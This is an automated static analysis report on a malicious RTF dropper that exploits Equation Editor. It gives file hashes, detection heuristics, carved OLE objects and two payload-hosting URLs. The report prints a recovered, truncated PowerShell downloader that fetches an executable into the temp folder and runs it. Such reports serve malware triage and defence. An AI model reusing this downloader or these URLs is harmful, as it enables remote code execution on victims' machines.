Malicious RTF — malware analysis report

Static analysis result for SHA-256 496930937ee43a2c…

MALICIOUS

RTF

54.7 KB First seen: 2021-02-19
MD5: 7d7afbbeb37eef0f9cb2cc8440854191 SHA-1: 63e351d6e1239f6a352df37c5c7c1a53f712e1d4 SHA-256: 496930937ee43a2c13fd371cdadf77dc0a4c9c6b366c0c89b95acb9b8edf63fa
262 Risk Score

Heuristics 7

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • ClamAV: Rtf.Dropper.Agent-7076684-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Dropper.Agent-7076684-0
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 4 \objdata section(s) — embedded OLE objects
  • OlePres presentation stream in RTF OLE object medium RTF_OLEPRES_STREAM
    RTF contains an embedded OLE object with an OlePres presentation stream. OlePres is an OLE presentation marker and is not enough on its own to identify CVE-2025-21298.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ccmlongueuil.ca/seclogo.bin In RTF body
    • http://guardtrack.uk/seclogo.binIn RTF body

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00003c81.bin rtf-objdata-decoded RTF \objdata at offset 0x3C81 378 bytes
SHA-256: 681812f3e631aa889831b2138d45b04396203858f02d74f180d39dfc1d342da8
objdata_01_off00005adb.bin rtf-objdata-decoded RTF \objdata at offset 0x5ADB 4681 bytes
SHA-256: 2739ee55bfe1b2a7508c33fd0cfd32fd82a891d81959369110cce62e729ae09e
objdata_02_off000080a5.bin rtf-objdata-decoded RTF \objdata at offset 0x80A5 444 bytes
SHA-256: b43c8ec8740aedff02d166cd552a63a03be43552d4675306323f7ea2e571b2eb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://ccmlongueuil.ca/seclogo.bin, http://guardtrack.uk/seclogo.bin Static shellcode analysis recovered command string(s): PowerShell ""function maked([String] $in){(New-Object System.Net.WebClient).DownloadFile($in,'%TMP%\bumsiery.exe');Start-Process '%TMP%\bumsiery.exe';}try{maked('http://c

Open this report in the interactive analyzer, or submit your own file for analysis.